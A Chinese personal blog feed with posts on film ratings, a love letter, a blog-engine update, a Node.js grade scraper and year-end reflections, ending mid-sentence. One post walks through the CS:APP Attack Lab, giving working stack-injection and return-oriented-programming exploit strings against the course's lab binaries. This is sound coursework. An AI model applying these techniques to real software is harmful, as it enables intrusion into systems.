如果你是一位在看到标题后点进来准备和我理论一番的读者,那我得先在这里做一个并不太情愿,甚至有些被动的声明:写下的这个标题只是本文的一方「药引子」,以及恰恰相反,我并不觉得《流浪地球》不好看。至于为什么说这样一个声明是不情愿且被动的,我想有耐心的读者阅读完全文自然会心领神会。 现在只要出现任何关于创作作品的讨论,包括但不限于各类影视剧,书籍,你可能总会看到类似这样的论调: 只有我觉得 xxx 很难看吗 只有我觉得 xxx 过誉了吗 …… 类似的场景还有在日常生活中你跟某人谈论起某一部最近刚上映的电影,在对它进行了一番赞扬后,某人的回应却是“我觉得很一般啊,不知道为什么你会说很好看”,如果你尝试对此进行阐述和说明,甚至做好了辩论的架势然后结果往往是两人不欢而散,没有达成一个“共识”。 真的存在着这样一种“共识”吗?一部作品是好还是坏,是否可以由一种客观而又硬性的统一标准来衡量?答案既可以是“是”,也可以是“否”。 举个例子来说吧,上个月上映的复联 4 想必列表的各位几乎都看过了,首映结束后进行各种吹爆的同学比比皆是,其中甚至还有贡献了二刷或是三刷票房的朋友。翻开豆瓣复联 4 的影评页,你可以看到 8.6 的总评分数————在所有有超过 50 万人标记过的电影里,这显然是个相当不错的成绩。我个人对其的评价也很高,以十分制打分的话我会给出 9 分。但是回到豆瓣,打开短评界面,遍地的四五星评价中,不乏给出了一星或是二星评价的人,我摘抄了一些放在这里: "将近 300 元买的杜比首映场,是真的不值。除了花里胡哨的特效外,一无是处,没有插科打诨和反高潮冷笑话,漫威就不会拍电影啦?花了十年塑造的人物形象性格在本作随意全部推翻,每个人所做的决策都不计后果,意气用事,幼稚且儿戏。巨作难逃烂尾,或许真的是个定律。" "不得不承认流量在这个时代主宰世界" "一群好几百岁的人叽叽歪歪像一群青春期的小孩,三个小时的时长就靠没完没了的与过去的自己相遇+废话连篇。谁还没有个爱的人咋的!" 不管你看完这些评论是觉得赞同还是反对,本文并不是一篇复联 4 的影评文章,让我们先回到之前的问题上:是否存在着一种客观而又硬性的统一标准来衡量一部作品的好坏? 关于对这个问题说“是”的答案,我们可以列举出许多这样客观而又硬性的标准,一部电影的工业水准是否超过行业平均,摄像是否出色到可以让大家津津乐道,剧情表现是否精彩而不是流水账式呈现,人物塑造和行动是否合乎逻辑,背景设定是否合乎常理......这些可以被客观量化的好坏标准显然是上面那个问题的一部分答案。 但同时这个问题也有一部分“否”的答案,甚至可以说这一部分“否”的答案才是占据对一部作品好坏评判最大的部分。这部分“否”的答案就是主观感受,也就是我们常说的个人好恶。一部可以让一部分人潸然泪下甚至泣不成声的电影,同样也可以让另一部分人连打哈欠,瞌睡连天。倒不是说前一群人太容易被感动,或是后一部分人铁石心肠,只能说人的主观情绪很复杂,它并非只被人当下的所见所闻所感主宰,一个人过去的经历与成长,亦或是未来即将到来而还未到来之事,都在影响着你的感情,你的行为。人的肉体永远活在当下,但你的情感,记忆和思绪却可以存在于时间的远端。“一百个人眼中有一百个哈姆雷特”,以上种种的因素都在影响着你的主观评判,一部作品到底有多好或者到底有多烂,想必永远是个和他人无关的命题。即便面对一部奥斯卡获奖电影,一本诺贝尔文学奖著作,你都有在心里,在豆瓣,在交谈中给它打一星的权利和自由,这一部分无关对错,因为你自己就是你的答案。 如果说每一部作品都是一份充满主观题试卷,每个人对它的评价都是对这份试卷作答后得到的一个分数。此时再回看那些“只有我觉得 xxx 很 xxx 吗?”之类的言论,和你很快就能发现他们都犯了一个错误:尝试把自己的分数套的另一张完全不同的试卷上去。倒不是说他们消极的评价做错了什么,只是把主观当客观,把多元化打死为唯一的做法实属有些狭隘了。比这更为极端的情况比比皆是,回忆《流浪地球》刚刚上映时有人仅仅因为打了一星评价而被群起攻之的场景就是这样一个例子,如果有一天我们可以随意对任何一部作品进行自由的评判而不会被各种“主义”挟持,不会被大众视作异类,那想必一定是一个充满爱与和平的社会。 如果你是看到标题带着一丝怨气进来的,不知看到这里是否得到了情绪上的些许释然。若是果真如此,那我的想法也许说服了你那么一丢丢。

2019/5/16
articleCard.readMore

一个不写情书的人该如何表达爱意

一个不写情书的人该如何表达爱意?答案其实很简单:写一封情书。 今天是 2019 年开始的第一天,2018 年结束的第一天。对任何一个人来说,今天似乎都是一个绝佳的告别过去展望未来的好日子。但是于我们而言,我想告别过去并不是其中的一部分,过去的每一份每一秒都值得我们回味和珍惜。 这些全是写给你的 我一直认为,我们所经历的一切,铸就了现在的我们,所以回顾过去,就是在审视当下的我们。是怎样的甜美时刻让我们更加深爱彼此一分?是怎样的细节触动让我们更加珍惜彼此一寸?曾经打动过我们的东西永远能再一次打动我们,不是因为我们过于刻奇————我也不想过多的追寻心理学意义上的剖析————其实全部的理由都来自于那三个字:我爱你。我想这就是回味的意义。人世间有很多道理需要人去领悟,一些毋需他人全靠自己,而一些,永远只有别人才能让你体会至深,这就是你才能让我明白的那一份道理————回味的意义。 秀恩爱,在很多人眼中这可能是一种略带贬义的行为。但请原谅我要为秀恩爱这三个字正名,秀恩爱是一段亲密关系中很重要的一部分,其重要程度甚至超过了很多人的想象。为何如此?如上文所言,回味对于我们来说很重要。但把回味完全寄托于记忆而不做任何记录,我想是一件很危险的事情,尤其是对于我这种记性不好的人,疏于记录导致的可不仅仅是忘记经历,凌驾于记忆之上的情感变化和体验是十分宝贵的东西,我们穷其一生追寻另一半,所追求的无非就是幸福,而秀恩爱就是记录这份幸福回忆的简单仪式。所以每一年你都在坚持书写着我们这一年的故事,完成回忆的仪式,如果你是我们故事的布道者,我想做的,就是你当你永远的听众,永远不散场的那一位。 一个医生可能会说多巴胺是爱情最为本质的载体,神经递质在脑间的传递替我们创造了爱情这奇妙的东西,我不否认这听起来有些冰冷却又夹杂着些许浪漫的解释,但我觉得在一段爱情中你能体验到的一切绝对不是大脑简单的化学反应,它应该是某种更加形而上学的形态,所以「理性」这么个东西在恋爱中一直显得有些格格不入————显然我们任何时候都不能抛弃理性,但假若你和你的另一半吵了架,某一方开始尝试用理性讲道理,我想这一段插曲往往都伴随着两败俱伤而结束————你常常说我谈个恋爱像做题,总是为了追寻一个正确答案而忽略了爱情更本质的一面,说的玩笑一些,爱情可能就是「玄学」而非「理学」,在亲密关系中我们要做的不应该总是纠结什么是送命题,什么又是标准答案,抓住「你爱她,你喜欢她」这抛开一切理性的一句话,爱一个人根本没有那么难。原谅我明白的太晚,在之前给你带来了许多的失望和困惑,2019年既然开始了,就让我把这作为一个新的起点开始吧! 读起寒假我临走前,你给我的那封信。里面有这样一句话: 更或许是一个疲惫的夜晚,内心深处的那份思念会被化为动力。 即便生活塞给我们了一个疲惫的夜晚,即便异地恋可能会让我们在这些疲惫的夜晚又充满了争吵,但内心深处的那份思恋始终会化作我们在一起的动力,永远不消失。既然熬过了 2018,2019 又何尝不可呢? 回到标题,一个不写情书的人该如何表达爱意?你已经读完了这份爱意,我想我也完成了我的情书。2019 年了,张艺柯,我还是爱你。

2019/1/1
articleCard.readMore

Pomash 的新玩意儿,以及一些将来的 Todo

Pomash 已经许久没有什么大更新了,不过我倒是一直在做一些小修小补。昨天花了一天的时间给 Pomash 加了一些新东西: 把开发环境从 Python 2.7 移植到了 3.7.1 支持了 Valine 评论系统 支持用 LaTeX 写数学公式了 把默认主题换成了 clean(旧的实在是太丑了) 重写了 README 加 Valine 的一个原因是 Disqus 在国内访问有困难,在 @RinChanNOW 多次吐槽以后,被迫找到了这个基于 LeanCloud 的无后端评论系统。 由于大家普遍吐槽 MathJax 效率太差,所以用了 KaTeX 来渲染数学公式。这货也有一个缺点,写公式可能会出现语法支持不全的情况。不过鱼和熊掌不可兼得,目前 KaTeX 应该也是够用了。 这是一个行内公式:$\int_a^b f(x)\mathrm{d}x$ 这是一个行外公式:$$\sum_{i=0}^{n}i^2$$ 造轮子的过程是永无止境的。眼看着 Pomash 越来越完善,也有了一种「自己的孩子长大了」的错觉,所以 Pomash 还会持续更新下去,下面是一些未来的 Todo: 更多的主题支持 从 hexo 迁移的脚本 编辑器完善(自动补全,图床上传等) 后台评论管理(目前只能在 LeanCloud 手动处理) ~~不考虑我挖坑不填的一向尿性,~~欢迎大家提意见和建议?

2018/12/10
articleCard.readMore

CS: APP Attack Lab 缓冲区溢出攻击

学校的计算机系统课用的是 CMU 的教材,刚好做到了缓冲区溢出的实验,所以为了博客文章+1学术交流,在这里记录一下解题过程。操作环境是学校服务器的 Ubuntu 16.04.5 LTS,实验所用程序均为 64 位版本。 准备工作 先做一些准备工作。事先反汇编好两个 target 文件,然后把 cookie.txt 中的值记录下来,作为我们解题需要的关键信息。 ~$ cd target102 ~/target102$ objdump -d ctarget > ctarget.s ~/target102$ objdump -d rtarget > rtarget.s ~/target102$ cat cookie.txt 0x32046301 由于整个实验都是围绕着一个输入函数展开的,我们先来了解一下其源代码: void test() { int val; val = getbuf(); printf("No exploit. Getbuf returned 0x%x\n", val); } 由于 getbuf 函数并不会检查输入的字符串是否超出了缓冲区的大小,所以也就给我们进行注入提供了可能性。 万事俱备,可以开始解题了。 Phase_1 先来看看第一关要触发的 touch1 函数: void touch1() { vlevel = 1; /* Part of validation protocol */ printf("Touch1!: You called touch1()\n"); validate(1); exit(0); } 所以第一关只需要利用缓冲区溢出「顶替」掉原有的函数返回地址即可,而我们用来冒名顶替的对象,就是第一关要求我们触发的 touch1 函数地址。所以现在我们要确定两个东西: 缓冲区在栈中的确切大小,以便我们准备溢出字符进行攻击。 touch1 函数的地址。 用 gdb 打开 ctarget,在 getbuf 这个输入函数处设置断点,我们可以看到如下汇编代码: 栈顶指针减去 0x18 意味着我们的缓冲区空间大小为十进制的 24 个字节,结合查看 %rsp 中的内容,我们可以推测出整个缓冲区的空间为从 0x556694a8 到 0x556694c0 的 24 Bytes 空间。 接着我们通过反汇编 ctarget 得到的汇编文件,查找到了 touch1 的起始地址为 0x401770 所以第一关的答案即为: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 17 40 00 00 00 00 00 Phase_2 touch2 函数的代码: void touch2(unsigned val) { vlevel = 2; /* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); } 第二关与第一关的区别在于,触发的函数 touch2 需要一个参数,参数的内容即为我们先前拿到的 cookie 值,所以在触发 touch2 之前,我们需要将 0x32046301 先放入寄存器 %rdi 中。自己动手丰衣足食,我们要将这宝贵的 24 个字节的空间利用起来,插入我们自己写的汇编代码来完成此操作。 mov $0x32046301, %rdi ret 将这段汇编代码译成机器码即为 48 c7 c7 01 63 04 32 c3。接着,结合上一题我们得到的信息,缓冲区是从 0x556694a8 开始的,所以我们将自己的代码放入缓冲区的最开始,然后再利用溢出把原有的返回地址改成我们代码的起始地址即 0x556694a8,程序就会跳到我们的指令开始执行。最后,只要把 touch2 的地址放在下一个栈顶即可。所以第二关的答案为: 48 c7 c7 01 63 04 32 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 94 66 55 00 00 00 00 9c 17 40 00 00 00 00 00 Phase_3 /* Compare string to hex represention of unsigned value */ int hexmatch(unsigned val, char *sval) { char cbuf[110]; /* Make position of check string unpredictable */ char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); return strncmp(sval, s, 9) == 0; } void touch3(char *sval) { vlevel = 3; /* Part of validation protocol */ if (hexmatch(cookie, sval)) { printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); } 通过阅读 touch3 的代码我们知道这次需要我们传入的不是 cookie 的值本身了,而是其字符串表示,所以首先需要将 0x32046301 译成 16 进制的 ASCii 码:33 32 30 34 36 33 30 31。但这里需要注意,字符串是均以 00 作为结尾的,所以应该写成:33 32 30 34 36 33 30 31 00。同上一题的思路,我们一开始可能会将本题的答案写成这样: 48 c7 c7 b8 94 66 55 c3 //mov $0x556694b8,%rdi ret 33 32 30 34 36 33 30 31 00 00 00 00 00 00 00 00 a8 94 66 55 00 00 00 00 70 18 40 00 00 00 00 00 结果运行后并不能成功,那么问题出在哪了?通过阅读实验的讲义和 hex2raw 这个程序的代码,我们会发现,缓冲区中的空间并不是一成不变的,随着程序的运行,不同的操作都可能会在不同程度上影响缓冲区中的内容,所以将 cookie 放在缓冲区里存储并读取的操作并不可行。因此我们只好利用缓冲区以外的栈内容了,这时可以考虑用 lea 这个命令来将存储在缓冲区外的 cookie 地址放入 %rdi 中。所以第三关答案为: 48 8d 7c 24 10 c3 00 00 //lea 0x10(%rsp),%rdi ret 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 94 66 55 00 00 00 00 70 18 40 00 00 00 00 00 00 00 00 00 00 00 00 00 33 32 30 34 36 33 30 31 00 Phase_4 从这一关开始,我们要使用 rtarget 作为攻击目标来进行实验,不同于 ctarget,rtarget 开启了两类栈保护机制,使得我们的攻击更难入手了。 随机化栈地址。也就是说我们无法像上面三道题一样,确切的了解到缓冲区的起始与终止地址了,这样一来我们也就没办法随意的利用缓冲区空间来存储相关的信息了。 栈不可执行。程序运行时会将栈设置为不可执行,也就意味着我们即便插入了自己写的代码,栈也不会执行它,只会把它当成普通的数字进行处理。 有这两个门神加持,我们的攻击是否就无法入手了呢?显然不是。如果不能自己安插「奸细」的话,我们还可以利用「内鬼」。 查看 rtarget 的代码,我们可以看到许多形如这样的函数: 仔细观察的话我们可以发现,0x40191f 处的指令连起来的意思是将 0x909058c2 的放入到 %rdi 所指内存中,然后返回。但如果我们断章取义一下,从 0x401922 处开始看起,58 90 90 c3 就成了将栈顶指针出栈到 %rax 中然后返回,即 popq %rax ret。 通过对比机器指令表,我们会发现 rtarget 其实有很多拥有二义性的指令可以为我们所用: 利用机器指令这样的二义性,我们可以利用程序中本身就存在的代码,来达到我们的目的。通过搜寻 rtarget 中类似的内鬼,我们可以在栈中写出如下的代码,来完成触发 touch2 所需要的操作。 popq %rax cookie movq %rax,%rdi call touch2 一一对应到程序中「内鬼」所在的地址,我们得到了第四关的答案: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 19 40 00 00 00 00 00 //pop 指令所在处 01 63 04 32 00 00 00 00 //要出栈给 %rax 的 cookie 27 19 40 00 00 00 00 00 //mov 指令所在处 9c 17 40 00 00 00 00 00 //touch2 地址 Phase_5 第五关和第四关大同小异,只不过需要利用的「内鬼」变多了一些,因为我们要利用有限的指令在缓冲区外完成将 cookie 的 ASCii 值赋给 %rdi 这个操作,经过一番搜寻和拼凑,我们可以组成如下的代码: mov %rsp, %rax mov %rax, %rdi pop %rax 0x48 //偏置值,即后来 %rsi 代表的内容,由于栈指针是在第一条被保存起来的,和位于最后的 cookie 位置偏差了 72 个字节,故此处为 0x48 mov %eax, %ecx mov %ecx, %edx mov %edx, %esi lea (%rdi, %rsi, 1), %rax mov %rax, %rdi call touch3 cookie 转换成指令相应的地址,我们就得到了最后的答案: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4d 19 40 00 00 00 00 00 27 19 40 00 00 00 00 00 22 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 5b 19 40 00 00 00 00 00 46 19 40 00 00 00 00 00 62 19 40 00 00 00 00 00 38 19 40 00 00 00 00 00 27 19 40 00 00 00 00 00 70 18 40 00 00 00 00 00 33 32 30 34 36 33 30 31 00

2018/12/8
articleCard.readMore

Node.js 模拟登录教务查询成绩

2017.11.18 更新:前天才发这篇博客,今天就发现学校改了整个外网访问教务系统的方式,我把这部份的代码全部重写 Grader 才重新正常工作,所以以下的内容已经不完全适用于目前的教务系统身份验证了,但整体思路和原理基本没有变,建议有能力的读者可以直接去看源码。(由于是第一个 Node.js 项目,代码写的比较烂,见谅) 今年暑假初学 Node.js 所以想写个什么练练手,又鉴于学校教务系统查成绩每次都要登录,略显麻烦,所以主要利用 Express + request 这两个库写了一个代查询教务成绩的脚本,目前已经上线服务器了,这里是地址,使用的话要求输入学号和教务系统的密码,所有数据均用 aes-256-cbc 加密存放在本地 cookie 里面(但其实还是有安全隐患,我后文会讲到),为了方便,我设定了 30 天内无需重新登录,这样子就能爽快的查成绩了!虽说整个脚本并不难,但是作为一个初学者,期间还是遇到了许多有趣的坑,所以在此记录一下探索的过程,多亏了何哲宇菊苣的催更,这篇博客才得以在我的一拖再拖下顺利完成。 由于之前用 Python 写过一个自动登录校园网的脚本,所以着手的基本思路还是有的: 分析教务系统的登录 URL 和所要传递的数据 利用 node.js 的 request 模块向登录 URL 发起携带相应数据的 POST 请求 查看 Response,确定是否登录成功 分析网站 利用现代浏览器的 Developer Tools 都可以完成这个步骤,以 Chrome 为例,打开 Developer Tools 以后访问北邮的教务界面,可以从 Element 一栏看到网页的源代码,Network 一栏中看到所有的网络请求。先用 Element 查看网页的源代码,可以看到教务系统登录表单的 HTML 如下。 <form method="post" name="loginForm" action="/jwLoginAction.do" onSubmit="return login();"> 从而我们也拿到了教务处理登录请求的地址:https://jwxt.bupt.edu.cn/jwLoginAction.do。 再点开 Network 查看访问主页的网络请求,看到 Cookie 一栏有这么一条内容:JSESSIONID=acbZT7XEZJhCZgMY48CCw。可以看出教务系统使用的是 Java 的 Tomcat 服务器搭配 JSESSIONID 进行身份验证。 这里讲一下通常的 Session 验证过程。客户端首先先向服务器发起登录请求,在验证帐号密码等信息正确后,服务端就会生成一个 SessionID,并且写在响应头中的 Set-Cookie 返回给客户端,也就是在教务系统的主页访问中我们发现的 Cookie 中的内容。在后续的访问中,只要客户端带上 Cookie 中的 SessionID,服务端就会知道客户端的身份,从而返回对应的信息。 然而教务系统却有些不同,SessionID 在一开始访问主页而并未进行登录操作时我们就已经拿到了,所以我初步推测我们在对教务进行登录的 POST 请求时需要将带有 SessionID 的 Cookie 一同传递,从而完成登录身份和 SeesionID 的绑定。 进行一次登录以后,Network 里也出现了登录的 POST 请求,我们来看看登录表单都传出了哪些数据。 可以看到学号,密码以及验证码以外,还有一个值为 sso 的 type。除此之外我还意外地发现教务系统居然在明文的传递密码,实在是太不安全也太不应该了,不过对此也只能说一句:信息黄埔,信息黄埔.jpg。不过不知道是不是因为我跟北邮人团队吐槽过这一点,在我写下这篇博客的时候,教务系统相关的网址都上了 SSL 证书,从 http 变成了 https。尽管如此,明文传输表单数据的做法还是依旧,所以只能说一句也许这是为了防君子而不妨小人? 第一次 POST 尝试 大致摸清整个登录过程后,我在 Node.js 中用如下代码做了第一次 POST 尝试: //设定好请求头 var headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Accept-Encoding': 'gzip, deflate', 'content-type': 'application/x-www-form-urlencoded', 'Connection': 'keep-alive', 'Cookie': `JSESSIONID=acbZT7XEZJhCZgMY48CCw`, //我们从浏览器中拿到的 SessionID }; //要发送的表单数据 var form = { type: 'sso', zjh: '2017233233', //学号 mm: 'password', //教务密码 v_yzm: 'test', //验证码 }; request.post({url: 'https://jwxt.bupt.edu.cn/jwLoginAction.do', gzip: true, headers: headers, form: form}, function (error, response, body) { console.log(body); }); PS:关于验证码的输入,我是直接把教务系统的验证码生成链接拉了过来,所以整个查成绩的过程唯一需要用户输入的内容只有验证码(学号密码只需在第一次登录的时候输入),以上的示例代码省略了这些内容,只关注核心功能的实现(但是你可以在 Grader 的 GitHub 项目页面 上看到完整的代码)。 一切调试妥当,开始运行后,我却发现每次 POST 请求得到的返回 body 都是教务系统登录失败的界面,在保证帐号密码以及验证码都输入正确的前提下,似乎出问题的点就只在 Session 验证这个过程中。我又多次修改 header 参数,尝试了不同的 POST 姿势,然而结果依旧不变,一直是登录失败,问题一度陷入了江僵局。 第二次 POST 尝试 冷静进行一波分析后,我觉得应该是「利用访问教务系统主页得到的 SessionID 与身份验证进行绑定」这一步出现了问题。于是乎我又用 request 对我能想到的对象都发了一波 GET 请求,看看响应头里都有什么东西。果不其然,我最后在一个意想不到却又十分合理的地方发现了另一个 SessionID:验证码。 与主页的访问一样,每当客户端(浏览器)请求生成一次验证码时,服务端都回在响应的主体中返回一个随机生成的验证码图片,并在响应头中附带一个 SessionID。于是乎我把 POST HEADER 中的 Cookie 参数改成了访问验证码得到的 SessionID 后,奇迹发生了脚本便成功登入进了教务系统。 获得成绩表格 完成身份验证后的步骤就简单的多了,从浏览器的网络请求中可以看到北邮教务系统的成绩查询脚本主要来自这两个 URL: https://jwxt.bupt.edu.cn/bxqcjcxAction.do 负责查询本学期的成绩 https://jwxt.bupt.edu.cn/gradeLnAllAction.do 负责查询所有学期的总成绩 所以只要区别用户的查询请求,分别向这两个 URL 发起 POST 请求(记得在 Header 中携带登录时验证过的 SessionID 用于确认查询者的身份),就可以得到查询者的 HTML 成绩表单了。不过拿到的成绩单内容并不是那么「干净」,许多冗余的信息会影响到我们后续的 GPA 筛选计算。 所以我用 Node.js 上很有名的 HTML 解析库 cheerio 对成绩的 HTML 表单进行「清洗」: if (type === 'current') return $("table.displayTag").removeClass('displayTag').addClass('table').attr('cellpadding', null).attr('width', null).attr('cellspacing', null).attr('border', null).attr('id', null); if (type === 'all') return $("table.titleTop2").removeClass('titleTop2').addClass('table').attr('cellpadding', null).attr('width', null).attr('cellspacing', null).attr('border', null); 删除掉杂七杂八的样式设定和奇怪的 class 后,得到的表格就清爽多了。 一些后续处理 基本功能完成后我又加入了一些可有可无的功能,毕竟是练手项目,所以杂糅一点奇怪的东西也没什么。不过有一点需要说在前面,本项目纯属兴趣使然,Grader 只会做它该做的事情。由于教务系统验证的方式如此,所以要使用 Grader 必须输入自己的学号和密码,我已经尽可能保证所有用户数据的安全,并且不会在服务器端记录任何使用者的任何信息,如果还是不放心的话,可以选择不使用 Grader。 本地 Cookie 加密。不过由于在数据传递的时候密码还是用的明文所以这一步显得有点多余 好看点的 CSS 样式。教务系统上个世纪风格的审美还是挺不讨喜的,所以加了一点简单的现代风格前端样式,力争做到不丑 GPA 计算。挺简单一功能教务系统居然没有,所以只好自己动手丰衣足食了,完成表格清洗后对每一列进行遍历和筛选,排除任选课成绩,计算 GPA 功能也就完成了。 后来跟一学长聊天的时候他告诉我,验证码绑定 SessionID 的做法其实在这种 Java 后端的服务系统上挺常见的,我之所以会被卡住还是因为缺乏经验,这也是我写此文的一个目的了,积攒一些经验,分享出来,希望大家看了也能有一点收获。✌🏻

2018/11/16
articleCard.readMore

被剥离的一年

时隔两年,再一次提笔(提键盘)写起了所谓「年终总结」。这曾是一个坚持了五年的习惯,但是断在了 2016 年,至于原因,也很简单,高三太忙了,没能抽出时间来干这件事情。当然,「忙」肯定只是个托辞,「懒」才是主导。今年无论如何都不能再搁置了,得把这件事继续下去,因为对我而言,2017 年是十分特殊的一年,许多事情在这一年发生了剧变。不知应该说自己幸运还是悲哀,我身处这份剧变的中心,清楚地看到了这场席卷了我,席卷了我的生活,席卷了我熟知的一切的风暴的每一个细节。 我的 2017 年分为两个部分——上半年和下半年。高考如同激光一般把这一年精确的分为了两个部分,上半年为高三,下半年为大学。 现在回忆起高三,这两个字在我心里已经不再简单的代表那个高中的年级,它变得更为概括,回忆高三总是会牵连出一连串更多的回忆。记得刚入校的那一天,对一中的印象完完全全只有「陌生」二字。2014 年入校三个月后我写下了这篇总得写点什么,现在读来,除了怀念,还有一丝羡慕那个充满理想主义的自己。很难想象,自己三年前还在憧憬向往的一切,都成了让现在的自己一次又一次扼腕叹息的铺垫。其中有一句话讲: 我从来不是怀旧的人,我一直期待未来。 很遗憾要让三年前的自己失望了,现如今的我愈发的怀旧。高中的每一分每一秒都让我无比的怀念,学校组织的周六自习,和学长们的足球周六之约,和同学一起上过的课,一起考过的试,一起参加过的活动,扯过的淡,和老师的互动,演过的讲,打扫过的卫生,打过的球,踢过的毽子,和张艺柯一起度过的课外活动,和她一起跑过步的跑道…… 听旧歌这件事对我来说稍微显得有些沉重。把音乐当成了存档自己记忆的一种手段,每每听起记忆音乐总会让自己的情绪无比的低落。2017 年的最后一个夜晚,我在 KTV 里再一次听到了「平凡之路」,高中三年的记忆仿佛浓缩在这五分零一秒中,在我眼前展开后有收拢,然后再消失,没有任何停留的时间让我去抓紧,因为它确也已经不存在。 高考,一个在这 18 年来不停的与命运、重要、未来、前途这些词一起打包,被灌输进入我脑海的概念,成了这一年最平淡无奇的经历。考试前一晚才开始的紧张到第一门语文考完就不见踪影,剩下三门也在匆匆的书写中就那样快快的过去,直到最后一门英语考完,我踏出考场的那一步,才让我真正的意识到,一切都结束了。出成绩的前几分钟,我的心率飙到了 130,之后,这个心脏又回归往日的律动。 很多过去事情就这样,在突然中开始,在突然中结束,突然之后留下的只有突然情感,和身处「现在」这个语境中只能做到回忆的突兀的自己。 2017 年 7 月 13 日那天晚上我跟张艺柯哭诉,为什么这个世界会是这样子的,没有人知道发生了什么,也没有人理解我在做什么,说真话只会招来匿名的谩骂和嘲讽。她安慰了我很久,我也在那时暗自庆幸:至少这个世界上还有这样一位可爱的人还能理解我啊。也是过了很久我才明白她那晚对我的所言。有时人类的悲欢并不相通,我只是觉得他们吵闹。 我记得很清楚,那天的北京电闪雷鸣下起了暴雨,仿佛在为不公的命运所哭泣。我也记得很清楚,那时的空间小秘密里散布着对我一个人的仇恨言论,纵使这两件事很遥远,我还是有了一种奇特的命运的连接感,也需应该把这些一并装入旅行包,并沉入海底。 大一的上半学期就要结束,若是别人要问起我大学生活的体验。我想最大的感受就是被剥离。「杀死那个石家庄人」中有一句歌词: 生活在经验里,直到大厦崩塌。 大学前的十八年我都生活在一个熟悉的小镇中,每天走着熟悉的路线,遇见熟悉的人,做着熟悉的事情。一切都在我的经验中,前十八年我都生活在经验中,而得陌生,每日忙碌着自己不曾忙碌过的事,想着不曾想过的事。自己深爱的人上大学,来到异地,周边的一切都让人觉得陌生,甚至连唯一熟悉的自己也变大多都留在了那份经验中,父母,她,没有和你一起从中被剥离,只有你脱离了原先的一切。 2017 很糟,特别糟糕,我不喜欢,坏掉的硬盘,没法过关的消防检查,说真话的难度越来越高,一切都在变得更加糟糕,让人感到麻木。 2018 会好吗?不会。 但是,我得好,我和我爱的人得好。 2018 年给自己列一些具体而又现实的目标吧: 多给爹妈打电话 对张艺柯好好的 必须做到第一二条 不挂科 看 25 本书 看尽可能多的电影和电视剧 别让自己再对自己失望了

2018/1/1
articleCard.readMore

回忆,电影以及豆瓣评分

许久未更新博客了,虽然我有十足的理由相信并没有人会看,但还是要写。 回忆这个行为虽多会给人带来苦闷与彷徨——人生的主旋律总是遗憾的——但不可否认人之所以依然会热衷于回忆,是因为回忆除了再现遗憾,其另一迷人的特性便是能够再现美好。 能勾起回忆的东西总如同狩猎者一般潜伏在生活的各处,在不经意间突然出现,给你的大脑一击,先把你脱离现实,再把你拖进回忆的小木屋,小木屋诚然不如亲身经历时的感官宫殿豪华,但也足够精致,足够撑起我们体验彼时某一瞬的心流。 某一节线性代数课,老师举了一个博弈论的经典例子:囚徒困境。这四个字从老师的嘴中离开,似乎还未及我耳中,便已将我拉回高中的语文课。虽然我一向不怎么喜欢应试考试中的语文科目,但语文课依然是我高中上过的弥足珍贵的一课之一。究其原因,其中最主要的一条就是语文老师设置的课前演讲。上高中前我一直以为我是个表达欲为负的小孩子,表达观点对我来说甚是可怖,加上逢正式场合就紧张肚子疼的特点,保持缄默似乎更适合我。然而高中语文老师在第一节语文课就立下规矩:每天的语文课前,每位同学都要上台演讲,内容不限,自由发挥。起初这个规定给我带来了不少的困扰,怯场的毛病让我苦不堪言,然而随着尝试次数的增加,表达观点这件事能令人愉悦的特性逐渐展现,以及能有 40 个人在同一时间认真聆听并在乎你的声音,在现今着实是一件可遇而不可求之事(这一点我过了很久才意识到)。说回「囚徒困境」,它能让我回想起语文课是因为曾有一位朋友在语文课前演讲谈论过此命题:明星的黑粉其实便类似于该理论中身处博弈中心的囚徒。具体内容我已忘却,但讲这件事其实是为了印证我的两个想法,一是在语文课前的演讲确实是一种有效的发声,你的想法会被人在意并思考(真的感谢语文老师);二是回忆有自省的效用。线代课上五分钟的出神,引申出上面这一段文字,不可说没有收获。 依旧是回忆起高一,不知从哪一个时间节点开始,我给自己定下了每周至少看一部电影的目标。每次抽出几个小时,让自己迷失在不同导演,编剧,摄影和演员的世界里,合法嗑药一般的致幻作用让我深陷其中。这就是电影的魔力,生活给不了的,电影可以给你。把这一点展现的淋漓尽致的电影有很多,但最让我印象深刻的还是 La La Land,有人说它剧情俗套,是表现平平之作。然而 La La Land 之于我,好比电影这个词之于词典,电影该有的样子 La La Land 全有,对好莱坞黄金时代的致敬,近乎完美的配乐表现,电影最后的一段蒙太奇更是全片的精髓,此处我不再多言,真心恳切的希望大家能去看一看,自己来体会。说回我对看电影的坚持(所以你为什么总是跑偏(无所谓这是我的地盘我想怎么写怎么写)),这个习惯之所以没有坚持下去,我想是出于后来我自己的一个问题。起初看电影也好,读书也罢,类似的欣赏行为总是随便挑一部就看,拿一本就读,无论怎么样,只要爽就行(「爽」这个字略显轻浮,不过我想这样写的话感受能够直接一点,方便大家体会)。然而后来读书看电影总要在过程中想着我看这个东西有什么意义,总想着从字里行间抠出一点有价值的东西,功利的心态让自己有了一种莫名的抵触情绪。于是乎,这个习惯被搁置了。而后遇到想看的电影我还是会看,但似乎再也找不回高一那段时间吸毒似的精神体验了,这样的遗憾困扰了我两年,不过也终于在今年化解了。 事情的转机来源于一次疑问——豆瓣,IMDB 